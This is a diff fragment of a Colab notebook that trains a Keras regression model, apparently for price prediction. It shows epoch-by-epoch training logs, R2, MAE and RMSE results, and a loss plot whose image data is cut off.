+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 30163249152.0000 - mean_absolute_error: 106484.8672 - val_loss: 26678753280.0000 - val_mean_absolute_error: 104997.9766\n",
+            "Epoch 65/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 29525991424.0000 - mean_absolute_error: 105158.6797 - val_loss: 26721277952.0000 - val_mean_absolute_error: 105250.3516\n",
+            "Epoch 66/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 28929667072.0000 - mean_absolute_error: 104584.5781 - val_loss: 26580224000.0000 - val_mean_absolute_error: 104664.4688\n",
+            "Epoch 67/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 26025322496.0000 - mean_absolute_error: 101216.3594 - val_loss: 27235854336.0000 - val_mean_absolute_error: 106735.9062\n",
+            "Epoch 68/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 27589691392.0000 - mean_absolute_error: 103175.7344 - val_loss: 27123707904.0000 - val_mean_absolute_error: 106367.8438\n",
+            "Epoch 69/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m2s\u001b[0m 4ms/step - loss: 28420243456.0000 - mean_absolute_error: 104720.3438 - val_loss: 26805549056.0000 - val_mean_absolute_error: 105520.1328\n",
+            "Epoch 70/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m2s\u001b[0m 4ms/step - loss: 28419221504.0000 - mean_absolute_error: 105426.4453 - val_loss: 26636503040.0000 - val_mean_absolute_error: 105076.9844\n",
+            "Epoch 71/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 28050577408.0000 - mean_absolute_error: 103473.4141 - val_loss: 26875754496.0000 - val_mean_absolute_error: 105800.8125\n",
+            "Epoch 72/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 28822894592.0000 - mean_absolute_error: 103192.4844 - val_loss: 26822811648.0000 - val_mean_absolute_error: 105777.9531\n",
+            "Epoch 73/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 26641172480.0000 - mean_absolute_error: 103633.4922 - val_loss: 26868023296.0000 - val_mean_absolute_error: 105892.6250\n",
+            "Epoch 74/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 29844342784.0000 - mean_absolute_error: 105255.4609 - val_loss: 26566086656.0000 - val_mean_absolute_error: 104975.1172\n",
+            "Epoch 75/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 28963168256.0000 - mean_absolute_error: 104519.1797 - val_loss: 26506223616.0000 - val_mean_absolute_error: 104695.1328\n",
+            "Epoch 76/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 28237221888.0000 - mean_absolute_error: 102899.0547 - val_loss: 26682609664.0000 - val_mean_absolute_error: 105158.6562\n",
+            "Epoch 77/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 27654866944.0000 - mean_absolute_error: 103316.1484 - val_loss: 26700611584.0000 - val_mean_absolute_error: 105359.4609\n",
+            "Epoch 78/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 27674400768.0000 - mean_absolute_error: 103319.5391 - val_loss: 26362396672.0000 - val_mean_absolute_error: 104107.3984\n",
+            "Epoch 79/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m2s\u001b[0m 4ms/step - loss: 27432085504.0000 - mean_absolute_error: 101501.9609 - val_loss: 26477158400.0000 - val_mean_absolute_error: 104681.0156\n",
+            "Epoch 80/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m2s\u001b[0m 4ms/step - loss: 27684063232.0000 - mean_absolute_error: 103709.6484 - val_loss: 26425354240.0000 - val_mean_absolute_error: 104571.3906\n",
+            "Epoch 81/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m2s\u001b[0m 3ms/step - loss: 25591810048.0000 - mean_absolute_error: 101679.2969 - val_loss: 27233726464.0000 - val_mean_absolute_error: 106791.5234\n",
+            "Epoch 82/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 27684530176.0000 - mean_absolute_error: 103265.0781 - val_loss: 26492631040.0000 - val_mean_absolute_error: 104850.2500\n",
+            "Epoch 83/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 29346795520.0000 - mean_absolute_error: 102770.3203 - val_loss: 26152605696.0000 - val_mean_absolute_error: 103756.8438\n",
+            "Epoch 84/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 28046280704.0000 - mean_absolute_error: 102954.4062 - val_loss: 26544203776.0000 - val_mean_absolute_error: 104822.7188\n",
+            "Epoch 85/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 28637030400.0000 - mean_absolute_error: 104556.9453 - val_loss: 26520188928.0000 - val_mean_absolute_error: 104757.7500\n",
+            "Epoch 86/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 26468646912.0000 - mean_absolute_error: 100546.2266 - val_loss: 26570270720.0000 - val_mean_absolute_error: 104985.3594\n",
+            "Epoch 87/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 29004359680.0000 - mean_absolute_error: 104109.4141 - val_loss: 26459389952.0000 - val_mean_absolute_error: 104676.6016\n",
+            "Epoch 88/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m3s\u001b[0m 3ms/step - loss: 27251484672.0000 - mean_absolute_error: 101085.7422 - val_loss: 26092900352.0000 - val_mean_absolute_error: 103482.3125\n",
+            "Epoch 89/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 30429245440.0000 - mean_absolute_error: 105714.9375 - val_loss: 26153973760.0000 - val_mean_absolute_error: 103670.9688\n",
+            "Epoch 90/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 26865401856.0000 - mean_absolute_error: 102348.1094 - val_loss: 26166908928.0000 - val_mean_absolute_error: 103752.1406\n",
+            "Epoch 91/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 27827755008.0000 - mean_absolute_error: 103276.0625 - val_loss: 26185897984.0000 - val_mean_absolute_error: 103950.3281\n",
+            "Epoch 92/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 27639648256.0000 - mean_absolute_error: 101974.6094 - val_loss: 26085267456.0000 - val_mean_absolute_error: 103599.5547\n",
+            "Epoch 93/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 26167181312.0000 - mean_absolute_error: 100035.1719 - val_loss: 26179375104.0000 - val_mean_absolute_error: 103864.0938\n",
+            "Epoch 94/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 26809440256.0000 - mean_absolute_error: 102106.3906 - val_loss: 26040193024.0000 - val_mean_absolute_error: 103389.2891\n",
+            "Epoch 95/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 27157624832.0000 - mean_absolute_error: 101552.1172 - val_loss: 26086522880.0000 - val_mean_absolute_error: 103545.5000\n",
+            "Epoch 96/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 25873074176.0000 - mean_absolute_error: 98885.3594 - val_loss: 25859762176.0000 - val_mean_absolute_error: 102798.9922\n",
+            "Epoch 97/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m2s\u001b[0m 3ms/step - loss: 27982217216.0000 - mean_absolute_error: 102870.6328 - val_loss: 25969029120.0000 - val_mean_absolute_error: 103284.0469\n",
+            "Epoch 98/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 28193937408.0000 - mean_absolute_error: 101894.8203 - val_loss: 26018830336.0000 - val_mean_absolute_error: 103464.9609\n",
+            "Epoch 99/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 26518319104.0000 - mean_absolute_error: 98909.9766 - val_loss: 25926684672.0000 - val_mean_absolute_error: 103208.6562\n",
+            "Epoch 100/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 26313981952.0000 - mean_absolute_error: 100742.3359 - val_loss: 25844994048.0000 - val_mean_absolute_error: 102779.5234\n"
+          ]
+        }
+      ]
+    },
+    {
+      "cell_type": "code",
+      "source": [
+        "y_pred=model.predict(x_test)"
+      ],
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "qL4abivYbE2w",
+        "outputId": "bd07de12-c9d5-4d5c-ca99-c6a642c0dedb"
+      },
+      "id": "qL4abivYbE2w",
+      "execution_count": null,
+      "outputs": [
+        {
+          "output_type": "stream",
+          "name": "stdout",
+          "text": [
+            "\u001b[1m136/136\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m0s\u001b[0m 2ms/step\n"
+          ]
+        }
+      ]
+    },
+    {
+      "cell_type": "code",
+      "source": [
+        "from sklearn.metrics import mean_absolute_error, mean_squared_error, r2_score"
+      ],
+      "metadata": {
+        "id": "H9n5gcE-b82H"
+      },
+      "id": "H9n5gcE-b82H",
+      "execution_count": null,
+      "outputs": []
+    },
+    {
+      "cell_type": "markdown",
+      "source": [
+        "# **Regression Metrics**"
+      ],
+      "metadata": {
+        "id": "oM5uCwEJpG9V"
+      },
+      "id": "oM5uCwEJpG9V"
+    },
+    {
+      "cell_type": "code",
+      "source": [
+        "ann_r2 = r2_score(y_test, y_pred)\n",
+        "ann_mae = mean_absolute_error(y_test, y_pred)\n",
+        "ann_rmse = np.sqrt(mean_squared_error(y_test, y_pred))\n"
+      ],
+      "metadata": {
+        "id": "dm1C1ej5clSn"
+      },
+      "id": "dm1C1ej5clSn",
+      "execution_count": null,
+      "outputs": []
+    },
+    {
+      "cell_type": "code",
+      "source": [
+        "ann_r2"
+      ],
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "PgO8ZcUCcqSY",
+        "outputId": "c89993a2-e8be-4aba-a815-5895226657f7"
+      },
+      "id": "PgO8ZcUCcqSY",
+      "execution_count": null,
+      "outputs": [
+        {
+          "output_type": "execute_result",
+          "data": {
+            "text/plain": [
+              "0.7890418472188461"
+            ]
+          },
+          "metadata": {},
+          "execution_count": 337
+        }
+      ]
+    },
+    {
+      "cell_type": "code",
+      "source": [
+        "ann_mae"
+      ],
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "vqUzipCscwMf",
+        "outputId": "d258ba09-d4c4-4ddf-cb3e-a09154d6c020"
+      },
+      "id": "vqUzipCscwMf",
+      "execution_count": null,
+      "outputs": [
+        {
+          "output_type": "execute_result",
+          "data": {
+            "text/plain": [
+              "105998.06812398798"
+            ]
+          },
+          "metadata": {},
+          "execution_count": 338
+        }
+      ]
+    },
+    {
+      "cell_type": "code",
+      "source": [
+        "ann_rmse"
+      ],
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "aZ4-g1Eicy8u",
+        "outputId": "83afff78-c27b-442c-aa76-1311d7ddb029"
+      },
+      "id": "aZ4-g1Eicy8u",
+      "execution_count": null,
+      "outputs": [
+        {
+          "output_type": "execute_result",
+          "data": {
+            "text/plain": [
+              "np.float64(178583.20178906663)"
+            ]
+          },
+          "metadata": {},
+          "execution_count": 339
+        }
+      ]
+    },
+    {
+      "cell_type": "code",
+      "source": [
+        "history.history"
+      ],
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "collapsed": true,
+        "id": "-HZ9ruSQc0--",
+        "outputId": "030d9f2f-403b-49f2-bdcd-301fd1109e4e"
+      },
+      "id": "-HZ9ruSQc0--",
+      "execution_count": null,
+      "outputs": [
+        {
+          "output_type": "execute_result",
+          "data": {
+            "text/plain": [
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+              " 'mean_absolute_error': [533211.5625,\n",
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+              "  103864.09375,\n",
+              "  103389.2890625,\n",
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+              "  103208.65625,\n",
+              "  102779.5234375]}"
+            ]
+          },
+          "metadata": {},
+          "execution_count": 340
+        }
+      ]
+    },
+    {
+      "cell_type": "markdown",
+      "source": [],
+      "metadata": {
+        "id": "Z6yNIu5_pTYP"
+      },
+      "id": "Z6yNIu5_pTYP"
+    },
+    {
+      "cell_type": "code",
+      "source": [
+        "import matplotlib.pyplot as plt"
+      ],
+      "metadata": {
+        "id": "MBmLFa77dOk3"
+      },
+      "id": "MBmLFa77dOk3",
+      "execution_count": null,
+      "outputs": []
+    },
+    {
+      "cell_type": "markdown",
+      "source": [
+        "# **Model is performing good , so no Overfitting or Underfitting **"
+      ],
+      "metadata": {
+        "id": "bOGhM4GYpXjC"
+      },
+      "id": "bOGhM4GYpXjC"
+    },
+    {
+      "cell_type": "code",
+      "source": [
+        "plt.plot(history.history['loss'])\n",
+        "plt.plot(history.history['val_loss'])\n"
+      ],
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 462
+        },
+        "id": "EgD42xF-dU6G",
+        "outputId": "196eddfe-84dc-48d8-b2fc-6436cd12fbff"
+      },
+      "id": "EgD42xF-dU6G",
+      "execution_count": null,
+      "outputs": [
+        {
+          "output_type": "execute_result",
+          "data": {
+            "text/plain": [
+              "[<matplotlib.lines.Line2D at 0x7bf3286e7200>]"
+            ]
+          },
+          "metadata": {},
+          "execution_count": 342
+        },
+        {
+          "output_type": "display_data",
+          "data": {
+            "text/plain": [
+              "<Figure size 640x480 with 1 Axes>"
+            ],
+            "image/png": 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